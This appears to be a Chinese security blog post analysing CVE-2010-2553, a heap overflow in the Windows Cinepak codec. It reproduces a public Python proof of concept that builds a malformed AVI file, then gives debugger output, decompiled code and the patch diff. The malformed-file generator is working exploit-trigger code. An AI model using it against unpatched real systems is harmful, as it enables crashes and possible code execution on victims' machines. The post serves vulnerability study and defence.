专栏首页BinarySecCVE-2010-2553分析[漏洞战争]

CVE-2010-2553分析[漏洞战争]

CVE 2010-2553漏洞,也称为MicrosoftWindows Cinepak 编码解码器解压缩漏洞,影响的操作系统版本有:Microsoft Windows XP SP2和SP3,WindowsVista SP1和SP2,以及Windows 7。

漏洞原因在于Cinepak 编码解码器对媒体文件解压缩时代码控制不恰当,可导致远程代码执行。如果用户打开特制的媒体文件,此漏洞可能允许执行代码。如果用户使用管理用户权限登录,成功利用此漏洞的攻击者便可完全控制受影响的系统。

漏洞利用wmplay.exe,而wmplay.exe这个播放器在国内很少有人使用,如果被攻击者使用了第三方的视频播放软件,很难攻击成功,这可能也是这一漏洞不被分析重视的一大原因。

在exploit-db找到老外的poc

'''

  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ <
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/

http://www.exploit-db.com/moaub-26-microsoft-cinepak-codec-cvdecompress-heap-overflow-ms10-055/

'''

'''
  Title             : Microsoft Cinepak Codec CVDecompress Heap Overflow
  Version           : iccvid.dll XP SP3
  Analysis          : http://www.abysssec.com
  Vendor            : http://www.microsoft.com
  Impact            : High
  Contact           : shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter           : @abysssec
  CVE               : CVE-2010-2553
  MOAUB Number      :
'''


import sys

def main():

    aviHeaders = '\x52\x49\x46\x46\x58\x01\x00\x00\x41\x56\x49\x20\x4C\x49\x53\x54\xC8\x00\x00\x00\x68\x64\x72\x6C\x61\x76\x69\x68\x38\x00\x00\x00\xA0\x86\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x01\x00\x00\x4E\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x60\x01\x00\x00\x20\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4C\x49\x53\x54\x7C\x00\x00\x00\x73\x74\x72\x6C\x73\x74\x72\x68\x38\x00\x00\x00\x76\x69\x64\x73\x63\x76\x69\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xE8\x03\x00\x00\x10\x27\x00\x00\x00\x00\x00\x00\x4E\x00\x00\x00\x20\x74\x00\x00\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00\x60\x01\x20\x01\x73\x74\x72\x66\x28\x00\x00\x00\x28\x00\x00\x00\x50\x01\x00\x00\x20\x01\x00\x00\x01\x00\x18\x00\x63\x76\x69\x64\x84\x8D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
    padding = '\x4A\x55\x4E\x4B\x00\x00\x00\x00\x4A\x55\x4E\x4B\x00\x00\x00\x00'
    movi_tag = '\x4C\x49\x53\x54\x5C\x00\x00\x00\x6D\x6F\x76\x69\x30\x30\x64\x63\x10\x00\x00\x00'
    cinepak_codec_data1 = '\x00\x00\x00\x68\x01\x60\x01\x20'
    number_of_coded_strips = '\x00\x10'
    cinepak_codec_data2 = '\x10\x00\x00\x10\x00\x00\x00\x00\x00\x60\x01\x60\x20\x00\x00\x00\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x00'
    idx_tag = '\x69\x64\x78\x31\x10\x00\x00\x00\x30\x30\x64\x63\x10\x00\x00\x00\x04\x00\x00\x00\x68\x00\x00\x00'

    avifile = open('poc.avi', 'wb+')
    avifile.write(aviHeaders)
    avifile.write(padding)
    avifile.write(movi_tag)
    avifile.write(cinepak_codec_data1)
    avifile.write(number_of_coded_strips)
    avifile.write(cinepak_codec_data2)
    avifile.write(idx_tag)

    avifile.close()
    print '[-] AVI file generated'

if __name__ == '__main__':
    main()

生成poc.avi后用wmplayer打开,直接崩溃。附加上windbg打开

看起来是iccvid.dll中iccvid!CVDecompress+0x11e出现的漏洞。

因为是堆溢出,我们这里开启页堆!gflag +hpa,页堆的机制就是在堆的末尾增加一个栅格,属性是不可访问。如果发生了堆溢出则会访问栅格造成异常。

发现edi就是页堆,即发生了堆溢出。

看看目的堆edi有多大

0:014> !heap -p -a edi
    address 075e7000 found in
    _DPH_HEAP_ROOT @ a1000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 7b92c38:          75e5000             6000 -          75e4000             8000
    7c938f01 ntdll!RtlAllocateHeap+0x00000e64
    7c809a6f kernel32!LocalAlloc+0x00000058
    73b724a8 iccvid!CVDecompressBegin+0x00000080
    73b7c6a0 iccvid!DecompressBegin+0x00000214
    73b766a1 iccvid!DriverProc+0x00000198
    73b41938 MSVFW32!ICSendMessage+0x0000002b
    7cf8df19 quartz!CAVIDec::StartStreaming+0x00000278
    7cf8d164 quartz!CTransformFilter::Pause+0x00000060
    7cf8d0f2 quartz!CAVIDec::Pause+0x0000002f
    7cf8cf69 quartz!CFilterGraph::Pause+0x00000107
    7cf8ce93 quartz!CFGControl::Cue+0x00000032
    7cfa4584 quartz!CFGControl::CueThenRun+0x00000012
    7cfa44d7 quartz!CFGControl::CImplMediaControl::Run+0x0000002b
    491be351 wmp!CWMPGraph::InternalPlay+0x00000039
    491be300 wmp!CWMPGraph::Play+0x000000a8
    4917ff31 wmp!CWMPControl::InternalPlay+0x0000015c

可以看出这个堆有0x6000,此时ecx=0x800,所以每次复制0x800 * 4 = 0x2000个字节。然后我们看看这个函数的伪代码。

do
{
  if ( v29 < 0x16 )
    break;
  HIBYTE(v15) = *(_BYTE *)(v14 + 1);
  LOBYTE(v15) = *(_BYTE *)(v14 + 2);
  v31 = *(_BYTE *)(v14 + 3) | (v15 << 8);
  if ( v29 < v31 )
    break;
  if ( *(_BYTE *)v14 == 16 || *(_BYTE *)v14 == 17 )
  {
    if ( ULongSub(v31, 12, &a1) < 0 )
      goto LABEL_33;
    HIBYTE(v16) = *(_BYTE *)(v14 + 8);
    HIBYTE(v17) = *(_BYTE *)(v14 + 4);
    LOBYTE(v16) = *(_BYTE *)(v14 + 9);
    LOBYTE(v17) = *(_BYTE *)(v14 + 5);
    v18 = v16 - v17;
    LOWORD(v18) = *(_WORD *)(v7 + 46) * v18;
    a2 = v18;
    if ( v32 && !BYTE3(TotalLen) && *(_BYTE *)v14 == 17 )
    {
      qmemcpy(
        (void *)(*(_DWORD *)(v7 + 28) + v32),
        (const void *)(*(_DWORD *)(v7 + 28) + v32 - 0x2000),
        0x2000u);  // vuln here
      v14 = v26;
    }
    v19 = v30 + 12;
    v20 = v14 + 12;
    *(_DWORD *)(v7 + 56) = v32 + *(_DWORD *)(v7 + 32);
    v27 = v14 + 12;
    *(_DWORD *)(v7 + 60) = a7;
    while ( a1 >= 4 )
    {
      HIBYTE(v21) = *(_BYTE *)(v20 + 1);
      LOBYTE(v21) = *(_BYTE *)(v20 + 2);
      v22 = *(_BYTE *)(v20 + 3) | (v21 << 8);
      v24 = v22;
      if ( a1 < v22 )
        break;
      switch ( *(_BYTE *)v20 )
      {
        case 0x20:
        case 0x21:
        case 0x24:
        case 0x25:
          (*(void (__stdcall **)(int, _DWORD, _DWORD, _DWORD))v7)(
            v19,
            *(_DWORD *)(v7 + 56),
            *(_DWORD *)(v7 + 52),
            *(_DWORD *)(v7 + 48));
          break;
        case 0x22:
        case 0x23:
        case 0x26:
        case 0x27:
          (*(void (__stdcall **)(int, int, _DWORD, _DWORD))(v7 + 4))(
            v19,
            *(_DWORD *)(v7 + 56) + 4096,
            *(_DWORD *)(v7 + 52),
            *(_DWORD *)(v7 + 48));
          break;
        case 0x30:
          (*(void (__stdcall **)(unsigned int, int, int, int, int, int, int))(v7 + 8))(
            v7,
            v19 + 4,
            v22 - 4,
            a4,
            a5,
            a6,
            a2);
          break;
        case 0x31:
          (*(void (__stdcall **)(unsigned int, int, int, int, int, int, int))(v7 + 16))(
            v7,
            v19 + 4,
            v22 - 4,
            a4,
            a5,
            a6,
            a2);
          break;
        case 0x32:
          (*(void (__stdcall **)(unsigned int, int, int, int, int, int, int))(v7 + 12))(
            v7,
            v19 + 4,
            v22 - 4,
            a4,
            a5,
            a6,
            a2);
          break;
        default:
          break;
      }
      v20 = v24 + v27;
      v23 = 1;
      v19 += v24;
      v27 += v24;
      if ( v24 > 1 )
        v23 = v24;
      a1 -= v23;
    }
    a6 += a7 * (signed __int16)a2;
    ++idx;
    v32 += 0x2000;
  }
  v30 += v31;
  v29 -= v31;
  v14 += v31;
  v26 = v14;
}
while ( idx < CodedStripNum );

可以看出,每次循环后,会将edi的地址增加0x2000,注意v32这个变量,第一次其实并没有复制,因为第一次v32为0,也就是说qmemcpy复制两次就会导致堆溢出。

分析一下PoC,根据CVID格式分析(https://multimedia.cx/mirror/cinepak.txt)

flag = 0x00
cvid长度 = 0x000068
coded frame宽度 = 0x1060
coded frame高度 = 0x1020
coded strip数量 = 0x0010

可以看出coded strip数量应该是小于3即可防止多次拷贝导致堆溢出。

patchdiff

patchdiff下发现pathc了这个函数,看看patch在哪

可以看出,对比了coded strip是否大于3,大于3则退出。

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • CVE-2010-3333分析[漏洞战争]

    CVE-2010-3333漏洞是一个栈溢出漏洞,该漏洞是由于Microsoft word在处理RTF数据的对数据解析处理错误,可被利用破坏内存,导致任意代码执行...

    WeaponX
  • CVE-2016-0095从PoC到Exploit

    WeaponX
  • NETBIOS主机名编码算法

    最近在看SMB协议,在自己构造数据包的时候发现了一个问题。 经过查阅资料发现NETBIOS对主机名的编码方式如下: 1.将字符补齐到16字节,不够的用空格补 ...

    WeaponX
  • Redis 基于主从复制的 RCE 利用方式

    在2019年7月7日结束的WCTF2019 Final上,LC/BC的成员Pavel Toporkov在分享会上介绍了一种关于redis新版本的RCE利用方式[...

    Seebug漏洞平台
  • Hacker必备技能-反向shell进阶

    “这是一篇对于实战很有用的文章,因为实战不比靶场环境,会有各种运维人员和其他维护者设置的障碍,就算找到漏洞,拿到shell也不是那么轻松,本文将介绍一些在lin...

    Gamma实验室
  • 【STM32学习记录3】0.96寸OLED显示屏(7针SPI协议)软件模拟SPI

    某宝上买的OLED,IIC/SPI都可以,买来看的时候发现背面焊的是SPI。板子上又没有硬件SPI,只好用软件模拟SPI。很久之前学的了,现在把它写在CSDN上...

    AXYZdong
  • 小生归一(五)md5扩展长度攻击

    1、MD5加密过程中512比特(64字节)为一组,属于分组加密,而且在运算的过程中,将512比特分为32bit*16块,分块运算。(先把需要加密的进行ASCII...

    7089bAt@PowerLi
  • MikroTik-SMB 测试之 Mutiny-Fuzzer

    Mutiny是由思科研究人员开发的一款基于变异的网络fuzz框架,其主要原理是通过从数据包(如pcap文件)中解析协议请求并生成一个.fuzzer文件,然后基于...

    信安之路
  • 为了抓取弹幕,你需要知道的一些二进制数据常识

    文本不会讲具体某个网站的弹幕抓取方法。而是描述抓取到二进制的弹幕信息以后,如何进行处理。

    青南
  • CVE-2020-0796,又是一场补丁攻坚战

    每年真正比较有影响力的漏洞编号,其实并不多,而这个CVE-2020-0796,就是我们在疫情之下全面返岗伊始,最值得去重视的一个。

    Bypass

扫码关注云+社区

领取腾讯云代金券